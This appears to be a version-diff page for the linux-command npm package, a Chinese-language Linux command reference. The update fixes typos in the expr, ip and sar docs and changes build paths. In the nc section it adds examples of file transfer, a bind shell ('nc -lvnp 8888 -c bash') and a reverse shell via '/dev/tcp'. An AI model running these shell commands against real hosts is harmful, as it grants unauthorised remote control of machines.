linux-command
Advanced tools
Comparing version 1.11.0 to 1.11.1
@@ -16,3 +16,3 @@ expr | ||
- 除法运算:`/` | ||
- 求摸(取余)运算:`%` | ||
- 取模(取余)运算:`%` | ||
@@ -19,0 +19,0 @@ ### 语法 |
@@ -13,3 +13,3 @@ ip | ||
```shell | ||
ip(选项)(参数) | ||
ip(选项)(对象) | ||
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help } | ||
@@ -19,3 +19,3 @@ ip [ -force ] -batch filename | ||
### 选项 | ||
### 对象 | ||
@@ -36,3 +36,3 @@ ```shell | ||
### 参数 | ||
### 选项 | ||
@@ -56,12 +56,12 @@ ```shell | ||
```shell | ||
ip link show # 显示网络接口信息 | ||
ip link show # 显示网络接口信息 | ||
ip link set eth0 up # 开启网卡 | ||
ip link set eth0 down # 关闭网卡 | ||
ip link set eth0 promisc on # 开启网卡的混合模式 | ||
ip link set eth0 promisc offi # 关闭网卡的混个模式 | ||
ip link set eth0 promisc offi # 关闭网卡的混合模式 | ||
ip link set eth0 txqueuelen 1200 # 设置网卡队列长度 | ||
ip link set eth0 mtu 1400 # 设置网卡最大传输单元 | ||
ip addr show # 显示网卡IP信息 | ||
ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1 | ||
ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址 | ||
ip addr add 192.168.0.1/24 dev eth0 # 为eth0网卡添加一个新的IP地址192.168.0.1 | ||
ip addr del 192.168.0.1/24 dev eth0 # 为eth0网卡删除一个IP地址192.168.0.1 | ||
@@ -68,0 +68,0 @@ ip route show # 显示系统路由 |
@@ -38,3 +38,3 @@ nc | ||
TCP端口扫描 | ||
**TCP端口扫描** | ||
@@ -50,3 +50,3 @@ ```shell | ||
扫描192.168.0.3 的端口 范围是 1-100 | ||
扫描UDP端口 | ||
**扫描UDP端口** | ||
@@ -57,3 +57,3 @@ ```shell | ||
扫描指定端口 | ||
**扫描指定端口** | ||
@@ -74,3 +74,49 @@ ```shell | ||
``` | ||
**文件传输** | ||
```shell | ||
# 接收方提前设置监听端口与要接收的文件名(文件名可自定义): | ||
nc -lp 8888 > node.tar.gz | ||
# 传输方发文件: | ||
nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz | ||
# ⚠️ 注意:192.168.75.121是接收方的ip地址。 | ||
``` | ||
```shell | ||
# 如果希望文件传输结束后自动退出,可以使用下面的命令: | ||
nc -lp 8888 > node.tar.gz | ||
nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz | ||
# ⚠️ 注意:-i 表示闲置超时时间 | ||
``` | ||
**远程控制** | ||
```shell | ||
# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。 | ||
# 被控制端执行下面的命令: | ||
nc -lvnp 8888 -c bash | ||
# 控制端执行下面的命令: | ||
nc 192.168.75.121 8888 | ||
``` | ||
```shell | ||
# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。 | ||
# 控制端执行下面的命令: | ||
nc -lvnp 8888 | ||
# 被控制端执行下面的命令: | ||
nc 192.168.75.121 8888 -c bash | ||
``` | ||
**反弹shell** | ||
```shell | ||
# 控制端执行下面的命令: | ||
nc -lvnp 8888 | ||
``` | ||
``` | ||
# 被控端执行下面的命令: | ||
bash -i &> /dev/tcp/192.168.75.121/8888 0>&1 | ||
``` | ||
@@ -27,2 +27,3 @@ sar | ||
-i:设状态信息刷新的间隔时间; | ||
-n: 报告网络统计信息。 | ||
-P:报告每个CPU的状态; | ||
@@ -69,2 +70,9 @@ -R:显示内存状态; | ||
**显示保存在每日数据文件“sa16”中的内存和网络统计信息。** | ||
```shell | ||
sar -r -n DEV -f /var/log/sa/sa16 | ||
``` | ||
{ | ||
"name": "linux-command", | ||
"version": "1.11.0", | ||
"version": "1.11.1", | ||
"description": "Linux Command", | ||
@@ -9,4 +9,4 @@ "homepage": "https://jaywcjlove.github.io/linux-command/", | ||
"start": "npm run build", | ||
"build": "node build/build.mjs", | ||
"dash": "npm run build && node build/dash.js" | ||
"build": "node scripts/build.mjs", | ||
"dash": "npm run build && node scripts/dash.mjs" | ||
}, | ||
@@ -42,4 +42,4 @@ "files": [ | ||
"engines": { | ||
"node": "^12.20.0 || ^14.13.1 || >=16.0.0" | ||
"node": ">=16.0.0" | ||
} | ||
} |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
1644234